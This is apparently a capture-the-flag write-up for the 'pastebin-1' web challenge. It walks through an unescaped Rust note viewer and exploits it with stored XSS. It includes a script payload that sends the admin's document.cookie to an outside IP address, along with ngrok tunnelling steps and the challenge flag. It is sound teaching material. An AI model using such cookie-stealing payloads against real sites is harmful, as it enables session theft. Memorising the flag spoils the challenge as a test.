Rating:
# Challenge Name: pastebin-1
## Description
Ah, the classic pastebin. Can you get the admin's cookies?
Admin bot https://admin-bot.mc.ax/pastebin-1
Author : NotDeGhost
## Detailed solution
Opening the challenge link https://pastebin-1.mc.ax/
We can create notes
```html
<link rel="stylesheet" href="/style.css" /><div class="container">test</div>
```
Let's check the source code [main.rs](main.rs)
We have a Rust web app, let's check the functions create and view notes
```rust
async fn create(mut req: Request<State>) -> tide::Result {
let Paste { content } = req.body_form().await?;
let id = "abcdefghijklmnopqrstuvwxyz"
.chars()
.collect::<Vec<char>>()
.choose_multiple(&mut rand::thread_rng(), 16)
.collect::<String>();
req.state().value.write().unwrap().insert(id.clone(), content);
Ok(Redirect::new(format!("/view?id={}", id)).into())
}
```
```rust
async fn view(req: Request<State>) -> tide::Result {
let Page { id } = req.query()?;
let response = match req.state().value.read().unwrap().get(&id) {
Some(content) => Response::builder(200)
.content_type("text/html")
.body(format!("\
<link rel=\"stylesheet\" href=\"/style.css\" />\
<div class=\"container\">\
{}\
</div>\
", content)).build(),
None => Response::builder(404).build()
};
Ok(response)
}
```
**Create** function save the POST request data and generate an id to view it with the **view** function
The **view** function output the content inside an html div
So clearly we can put a javascrit code insid the note
Let's test it
We can use some XSS attacks
As mention in the description we need to seal the admin cookie
We can use some payload to steal the cookie https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
```javascript
<script>var i=new Image;i.src="http://192.168.0.18:8888/?"+document.cookie;</script>
```
I have some probleme with port forwarding so i'm gonna use ngrok to create an http tunnel
- ngrok http 8000
- python http server
Let's create our payload
https://pastebin-1.mc.ax/view?id=cmvqigpkulajysnr
Let's go to the admin portal to submit our malicious note https://admin-bot.mc.ax/
After submitting, the admin gonna visit our note
We got our flag
## Flag
```
flag{d1dn7_n33d_70_b3_1n_ru57}
```
